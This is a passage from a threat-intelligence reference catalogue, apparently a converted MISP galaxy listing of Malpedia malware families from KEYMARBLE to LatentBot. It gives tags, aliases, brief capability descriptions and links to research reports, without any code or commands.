</tr>
<tr>
<td><a href="https://twitter.com/smoothimpact/status/773631684038107136">https://twitter.com/smoothimpact/status/773631684038107136</a></td>
</tr>
<tr>
<td><a href="https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/">https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/</a></td>
</tr>
</tbody>
</table>

KEYMARBLE

The tag is: **misp-galaxy:malpedia="KEYMARBLE"**

KEYMARBLE is also known as:

*Table 3360. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble">https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/AR18-221A">https://www.us-cert.gov/ncas/analysis-reports/AR18-221A</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/north-korea-turns-against-russian-targets/">https://research.checkpoint.com/north-korea-turns-against-russian-targets/</a></td>
</tr>
</tbody>
</table>

KGH_SPY

The tag is: **misp-galaxy:malpedia="KGH_SPY"**

KGH_SPY is also known as:
Khonsari

A compact ransomware written in .NET and delivered as follow-up to Log4J exploitation, targeting Windows servers.

The tag is: misp-galaxy:malpedia="Khonsari"

Khonsari is also known as:

KHRAT

According to Unit42, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.

The tag is: misp-galaxy:malpedia="KHRAT"

KHRAT is also known as:
Kikothac

The tag is: misp-galaxy:malpedia="Kikothac"

Kikothac is also known as:

Table 3364. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac">https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac</a></td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/resources/threat-research/silence.html">https://www.group-ib.com/resources/threat-research/silence.html</a></td>
</tr>
</tbody>
</table>

KillAV

The tag is: misp-galaxy:malpedia="KillAV"

KillAV is also known as:

- BURNTCIGAR

Table 3365. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.killav">https://malpedia.caad.fkie.fraunhofer.de/details/win.killav</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/unc2596-cuba-ransomware">https://www.mandiant.com/resources/unc2596-cuba-ransomware</a></td>
</tr>
</tbody>
</table>

KillDisk

KillDisk is a generic detection name used by ESET to refer to destructive malware with disk wiping capabilities, such as damaging boot sectors and overwriting then deleting (system) files, followed by a reboot to render the machine unusable. Although all KillDisk malware has similar functionality,
as a generic detection, individual samples do not necessarily have strong code similarities or
relationships. Such generic malware detections usually have many "sub-families", distinguished by
the detection suffix (e.g. KillDisk.NBO, KillDisk.NCV, and KillDisk.NCX). Sub-family variants that do
have strong code similarities, are sometimes seen in separate cyberattacks and thus can help
researchers make connections between them.

The tag is: misp-galaxy:malpedia="KillDisk"

KillDisk is also known as:

Table 3366. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk">https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0034">https://attack.mitre.org/groups/G0034</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt">https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=mrTdSdMMgnk">https://www.youtube.com/watch?v=mrTdSdMMgnk</a></td>
</tr>
<tr>
<td><a href="https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/">https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-viking">https://www.secureworks.com/research/threat-profiles/iron-viking</a></td>
</tr>
</tbody>
</table>

KilllSomeOne

The tag is: misp-galaxy:malpedia="KilllSomeOne"

KilllSomeOne is also known as:

Table 3367. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.killsomeone">https://malpedia.caad.fkie.fraunhofer.de/details/win.killsomeone</a></td>
</tr>
</tbody>
</table>

KimJongRat

The tag is: misp-galaxy:malpedia="KimJongRat"

KimJongRat is also known as:

Table 3368. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Kimsuky

The tag is: `misp-galaxy:malpedia="Kimsuky"`

Kimsuky is also known as:

Table 3369. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kimsuky">https://malpedia.caad.fkie.fraunhofer.de/details/win.kimsuky</a></td>
</tr>
<tr>
<td><a href="https://metaswan.github.io/posts/Malware-Kimsuky-group's-resume-impersonation-malware">https://metaswan.github.io/posts/Malware-Kimsuky-group's-resume-impersonation-malware</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/pivoting-on-a-sharpext-to-profile-kimusky-panels-for-great-good-1920dc1bcef9">https://medium.com/walmartglobaltech/pivoting-on-a-sharpext-to-profile-kimusky-panels-for-great-good-1920dc1bcef9</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure">https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure</a></td>
</tr>
<tr>
<td><a href="https://vbllocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/">https://vbllocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign">https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html">https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html</a></td>
</tr>
<tr>
<td><a href="https://blog.alyac.co.kr/2347">https://blog.alyac.co.kr/2347</a></td>
</tr>
</tbody>
</table>

Kingminer

The tag is: `misp-galaxy:malpedia="Kingminer"`
Kingminer is also known as:

*Table 3370. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer">https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer</a></td>
</tr>
<tr>
<td><a href="https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html">https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html</a></td>
</tr>
</tbody>
</table>

**KINS**

The tag is: *misp-galaxy:malpedia="KINS"*

KINS is also known as:

- Kasper Internet Non-Security
- Maple

*Table 3371. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kins">https://malpedia.caad.fkie.fraunhofer.de/details/win.kins</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/">https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/</a></td>
</tr>
<tr>
<td><a href="https://github.com/nyx0/KINS">https://github.com/nyx0/KINS</a></td>
</tr>
</tbody>
</table>

**KIVARS (Windows)**

The tag is: *misp-galaxy:malpedia="KIVARS (Windows)"*

KIVARS (Windows) is also known as:

*Table 3372. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>1440</td>
</tr>
</tbody>
</table>
Microsoft describes that threat actor ZINC is using Klackring as a malware dropped by ComeBacker, both being used to target security researchers.

The tag is: `misp-galaxy:malpedia="Klackring"`

Klackring is also known as:

**Table 3373. Table References**

**Links**

- https://malpedia.caad.fkie.fraunhofer.de/details/win.klackring
- https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/

**KleptoParasite Stealer**

KleptoParasite Stealer is advertised on Hackforums as a noob-friendly stealer. It is modular and comes with a IP retriever module, a Outlook stealer (32bit/64bit) and a Chrome/Firefox stealer (32bit/64bit). Earlier versions come bundled (loader plus modules), newer versions come with a loader (167k) that grabs the modules.

PDB-strings suggest a relationship to JogLog v6 and v7.

The tag is: `misp-galaxy:malpedia="KleptoParasite Stealer"`

KleptoParasite Stealer is also known as:

- Joglog
- Parasite

**Table 3374. Table References**

**Links**

https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer
**KlingonRAT**

The tag is: `misp-galaxy:malpedia="KlingonRAT"`

KlingonRAT is also known as:

*Table 3375. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.klingon_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.klingon_rat</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/malware-analysis/klingon-rat-holding-on-for-dear-life/">https://www.intezer.com/blog/malware-analysis/klingon-rat-holding-on-for-dear-life/</a></td>
</tr>
</tbody>
</table>

**KLRD**

The tag is: `misp-galaxy:malpedia="KLRD"`

KLRD is also known as:

*Table 3376. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd">https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd</a></td>
</tr>
</tbody>
</table>

**Knot**

Ransomware.

The tag is: `misp-galaxy:malpedia="Knot"`

Knot is also known as:

*Table 3377. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.knot">https://malpedia.caad.fkie.fraunhofer.de/details/win.knot</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1345313324825780226">https://twitter.com/malwrhunterteam/status/1345313324825780226</a></td>
</tr>
</tbody>
</table>

**Koadic**

Koadic is an open-source post-exploitation framework for Windows, created by zerosum0x0 and available on GitHub. The framework is written in Python and can generate JScript and VBScript payloads which can be written to disk or mapped directly into memory. Its capabilities include remote desktop access, command execution, lateral movement via SMB, file transfer, credential theft using Mimikatz, port scanning, and system information collection. It can also collect specific system information and targeted files based on their name or extension.
The tag is: **misp-galaxy:malpedia="Koadic"**

Koadic is also known as:

**Table 3378. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic">https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic</a></td>
</tr>
<tr>
<td><a href="https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf">https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/cobalt-ulster">http://www.secureworks.com/research/threat-profiles/cobalt-ulster</a></td>
</tr>
<tr>
<td><a href="https://github.com/zerosum0x0/koadic">https://github.com/zerosum0x0/koadic</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf">https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-trinity">https://www.secureworks.com/research/threat-profiles/cobalt-trinity</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-drake">https://www.secureworks.com/research/threat-profiles/gold-drake</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-ulster">https://www.secureworks.com/research/threat-profiles/cobalt-ulster</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-drake">https://www.secureworks.com/research/threat-profiles/gold-drake</a></td>
</tr>
</tbody>
</table>

**KoiVM**

A loader written in .NET.

The tag is: **misp-galaxy:malpedia="KoiVM"**

KoiVM is also known as:

**Table 3379. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.koivm">https://malpedia.caad.fkie.fraunhofer.de/details/win.koivm</a></td>
</tr>
</tbody>
</table>

**KokoKrypt**

The tag is: **misp-galaxy:malpedia="KokoKrypt"**

KokoKrypt is also known as:

**Table 3380. Table References**
KOMPROGO

KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management, creating a reverse shell, running WMI queries, retrieving information about the infected system.

The tag is: misp-galaxy:malpedia="KOMPROGO"

KOMPROGO is also known as:

- Splinter RAT

Table 3381. Table References

Konni

Konni is a remote administration tool, observed in the wild since early 2014. The Konni malware family is potentially linked to APT37, a North-Korean cyber espionage group active since 2012. The group primary victims are South-Korean political organizations, as well as Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East.

The tag is: misp-galaxy:malpedia="Konni"

Konni is also known as:

Table 3382. Table References
KoobFace

The tag is: misp-galaxy:malpedia="KoobFace"

KoobFace is also known as:

Table 3383. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.koobface

Korlia

The tag is: misp-galaxy:malpedia="Korlia"

Korlia is also known as:

- Bional
Kovter

Kovter is a Police Ransomware

The tag is: misp-galaxy:malpedia="Kovter"

Kovter is also known as:

**Table 3385. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kovter">https://malpedia.caad.fkie.fraunhofer.de/details/win.kovter</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/">https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/</a></td>
</tr>
<tr>
<td><a href="https://0x00sec.org/t/analyzing-modern-malware-techniques-part-1/18663">https://0x00sec.org/t/analyzing-modern-malware-techniques-part-1/18663</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-345a">https://us-cert.cisa.gov/ncas/alerts/aa20-345a</a></td>
</tr>
<tr>
<td><a href="https://0xchrollo.github.io/articles/unpacking-kovter-malware/">https://0xchrollo.github.io/articles/unpacking-kovter-malware/</a></td>
</tr>
</tbody>
</table>

**KPOT Stealer**

KPOT is an information-stealing Trojan horse that can steal information from infected computers. It is distributed through phishing emails and malicious websites. Once executed on a computer, KPOT can steal passwords, credit card numbers, and other personal information.

The tag is: misp-galaxy:malpedia="KPOT Stealer"

KPOT Stealer is also known as:

- Khalesi
- Kpot

**Table 3386. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer</a></td>
</tr>
</tbody>
</table>
Krachulka

According to ESET, this malware family is a banking trojan and was active in Brazil until the middle of 2019. Its most noticeable characteristic was its usage of well-known cryptographic methods to encrypt strings, as opposed to the majority of Latin American banking trojans that mainly use custom encryption schemes.

The tag is: misp-galaxy:malpedia="Krachulka"

Krachulka is also known as:

Table 3387. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.krachulka">https://malpedia.caad.fkie.fraunhofer.de/details/win.krachulka</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/">https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/</a></td>
</tr>
</tbody>
</table>

Kraken

A ransomware that was active in 2018.

The tag is: misp-galaxy:malpedia="Kraken"
Kraken is also known as:

Table 3388. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kraken">malpedia.caad.fkie.fraunhofer.de/details/win.kraken</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/kraken-cryptor-ransomware/">www.recordedfuture.com/kraken-cryptor-ransomware/</a></td>
</tr>
</tbody>
</table>

---

**KrakenKeylogger**

KrakenKeylogger is a .NET based Infostealer malware sold in Underground hacking forums

The tag is: `misp-galaxy:malpedia="KrakenKeylogger"`

KrakenKeylogger is also known as:

Table 3389. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.krakenkeylogger">malpedia.caad.fkie.fraunhofer.de/details/win.krakenkeylogger</a></td>
</tr>
<tr>
<td><a href="https://0xtoxin.github.io/threat%20hunting/KrakenKeylogger-pt2/">0xtoxin.github.io/threat%20hunting/KrakenKeylogger-pt2/</a></td>
</tr>
<tr>
<td><a href="https://0xtoxin.github.io/malware%20analysis/KrakenKeylogger-pt1/">0xtoxin.github.io/malware%20analysis/KrakenKeylogger-pt1/</a></td>
</tr>
</tbody>
</table>

---

**KrBanker**

ThreatPost describes KRBanker (Blackmoon) as a banking Trojan designed to steal user credentials from various South Korean banking institutions. It was discovered in early 2014 and since then has adopted a variety of infection and credential stealing techniques.

The tag is: `misp-galaxy:malpedia="KrBanker"`

KrBanker is also known as:

- BlackMoon

Table 3390. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker">malpedia.caad.fkie.fraunhofer.de/details/win.krbanker</a></td>
</tr>
</tbody>
</table>

---
KrDownloader

The tag is: `misp-galaxy:malpedia="KrDownloader"`

KrDownloader is also known as:

*Table 3391. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader</a></td>
</tr>
</tbody>
</table>

Kronos

Kronos malware is a sophisticated banking Trojan that first emerged in 2014. It is designed to target financial institutions and steal sensitive banking information. The malware is primarily spread through phishing campaigns and exploit kits. Once installed on a victim's computer, Kronos can capture login credentials, credit card details, and other personal information by keylogging and form grabbing techniques. It can also bypass security measures such as two-factor authentication. Kronos employs advanced evasion techniques to avoid detection by antivirus software and actively updates itself to evade security patches. It has been known to target a wide range of banking systems and has affected numerous organizations worldwide. The malware continues to evolve, making it a significant threat to online banking security.

The tag is: `misp-galaxy:malpedia="Kronos"`

Kronos is also known as:

* Osiris

*Table 3392. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos">https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/">https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/3xp0rtblog/status/1294157781415743488">https://twitter.com/3xp0rtblog/status/1294157781415743488</a></td>
</tr>
</tbody>
</table>
**KryptoCibule**

The tag is: *misp-galaxy:malpedia=*'KryptoCibule’*

KryptoCibule is also known as:

**Table 3393. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kryptocibule">https://malpedia.caad.fkie.fraunhofer.de/details/win.kryptocibule</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/09/02/kryptocibule-multitasking-multicurrency-cryptostealer/">https://www.welivesecurity.com/2020/09/02/kryptocibule-multitasking-multicurrency-cryptostealer/</a></td>
</tr>
</tbody>
</table>

**KSL0T**

A keylogger used by Turla.

The tag is: *misp-galaxy:malpedia=*’KSL0T’*
KSL0T is also known as:

Table 3394. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t">https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t</a></td>
</tr>
<tr>
<td><a href="https://0ffset.wordpress.com/2018/10/05/post-0x17-2-turla-keylogger/">https://0ffset.wordpress.com/2018/10/05/post-0x17-2-turla-keylogger/</a></td>
</tr>
<tr>
<td><a href="https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-1/">https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-1/</a></td>
</tr>
<tr>
<td><a href="https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-2/">https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-2/</a></td>
</tr>
</tbody>
</table>

**Kuaibu**

The tag is: *misp-galaxy:malpedia=*Kuaibu*

Kuaibu is also known as:

- Barys
- Gofot
- Kuailpy

Table 3395. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8">https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8</a></td>
</tr>
</tbody>
</table>

**Kuluoz**

The tag is: *misp-galaxy:malpedia=*Kuluoz*

Kuluoz is also known as:

Table 3396. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kuluoz">https://malpedia.caad.fkie.fraunhofer.de/details/win.kuluoz</a></td>
</tr>
</tbody>
</table>

**Kurton**

The tag is: *misp-galaxy:malpedia=*Kurton*

Kurton is also known as:

Table 3397. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kurton">https://malpedia.caad.fkie.fraunhofer.de/details/win.kurton</a></td>
</tr>
</tbody>
</table>
Kutaki

Cofense characterizes Kutaki as a data stealer that uses old-school techniques to detect sandboxes and debugging. Kutaki however works quite well against unhardened virtual machines and other analysis devices. By backdooring a legitimate application, it can fool unsophisticated detection methodologies.

The tag is: *misp-galaxy:malpedia="Kutaki"

Kutaki is also known as:

Table 3398. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kutaki">https://malpedia.caad.fkie.fraunhofer.de/details/win.kutaki</a></td>
</tr>
</tbody>
</table>

Kwampirs

Kwampirs is a family of malware which uses SMB to spread. It typically will not execute or deploy in environments in which there is no publicly available admin$ share. It is a fully featured backdoor which can download additional modules. Typical C2 traffic is over HTTP and includes "q=[ENCRYPTED DATA]" in the URI.

The tag is: *misp-galaxy:malpedia="Kwampirs"

Kwampirs is also known as:

Table 3399. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs">https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs</a></td>
</tr>
<tr>
<td><a href="https://resources.cylera.com/new-evidence-linking-kwampirs-malware-to-shamoon-apt">https://resources.cylera.com/new-evidence-linking-kwampirs-malware-to-shamoon-apt</a></td>
</tr>
<tr>
<td><a href="https://www.securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/">https://www.securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/</a></td>
</tr>
</tbody>
</table>
**Ladon**

According to its self-description, Ladon is a multi-threaded plug-in comprehensive scanning artifact for large-scale network penetration, including port scanning, service identification, network assets, password blasting, high-risk vulnerability detection and one click getshell. It supports batch a segment / b segment / C segment and cross network segment scanning, as well as URL, host and domain name list scanning.

The tag is: `misp-galaxy:malpedia="Ladon"`

Ladon is also known as:

*Table 3400. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ladon">https://malpedia.caad.fkie.fraunhofer.de/details/win.ladon</a></td>
</tr>
<tr>
<td><a href="https://github.com/k8gege/Ladon">https://github.com/k8gege/Ladon</a></td>
</tr>
<tr>
<td><a href="https://mandiant.widen.net/s/pkffwrbljlz/m-trends-2023">https://mandiant.widen.net/s/pkffwrbljlz/m-trends-2023</a></td>
</tr>
</tbody>
</table>

**LALALALA Stealer**

The tag is: `misp-galaxy:malpedia="LALALALA Stealer"`

LALALALA Stealer is also known as:

*Table 3401. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lalala_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.lalala_stealer</a></td>
</tr>
<tr>
<td><a href="https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html">https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html</a></td>
</tr>
</tbody>
</table>
Lambert (Windows)

The tag is: `misp-galaxy:malpedia=“Lambert (Windows)”`

Lambert (Windows) is also known as:

- Plexor

Table 3402. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert">https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert</a></td>
</tr>
<tr>
<td><a href="https://ti.qianxin.com/blog/articles/network-weapons-of-cia/">https://ti.qianxin.com/blog/articles/network-weapons-of-cia/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=jELd-gw2bWo">https://www.youtube.com/watch?v=jELd-gw2bWo</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7">https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/CPResearch/status/1484502090068242433">https://twitter.com/CPResearch/status/1484502090068242433</a></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/">https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/</a></td>
</tr>
</tbody>
</table>

Lamdelin

The tag is: `misp-galaxy:malpedia=“Lamdelin”`

Lamdelin is also known as:

Table 3403. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lamdelin">https://malpedia.caad.fkie.fraunhofer.de/details/win.lamdelin</a></td>
</tr>
<tr>
<td><a href="http://news.thewindowsclub.com/poorly-coded-lamdelin-lockscreen-ransomware-alt-f4-88576/">http://news.thewindowsclub.com/poorly-coded-lamdelin-lockscreen-ransomware-alt-f4-88576/</a></td>
</tr>
</tbody>
</table>

LaplasClipper

Clipboard stealer.

The tag is: `misp-galaxy:malpedia=“LaplasClipper”`
LaplasClipper is also known as:

Table 3404. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.laplas">https://malpedia.caad.fkie.fraunhofer.de/details/win.laplas</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/Gi7w0rm/status/1604999633792647169">https://twitter.com/Gi7w0rm/status/1604999633792647169</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://embee-research.ghost.io/laplas-clipper-infrastructure/">https://embee-research.ghost.io/laplas-clipper-infrastructure/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://any.run/cybersecurity-blog/analyzing-laplasclipper-malware/">https://any.run/cybersecurity-blog/analyzing-laplasclipper-malware/</a></td>
<td></td>
</tr>
</tbody>
</table>

**LatentBot**

FireEye describes this malware as a highly obfuscated bot that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.

Using Dynamic Threat Intelligence, they have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland – primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped – which they named LATENTBOT – caught attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.

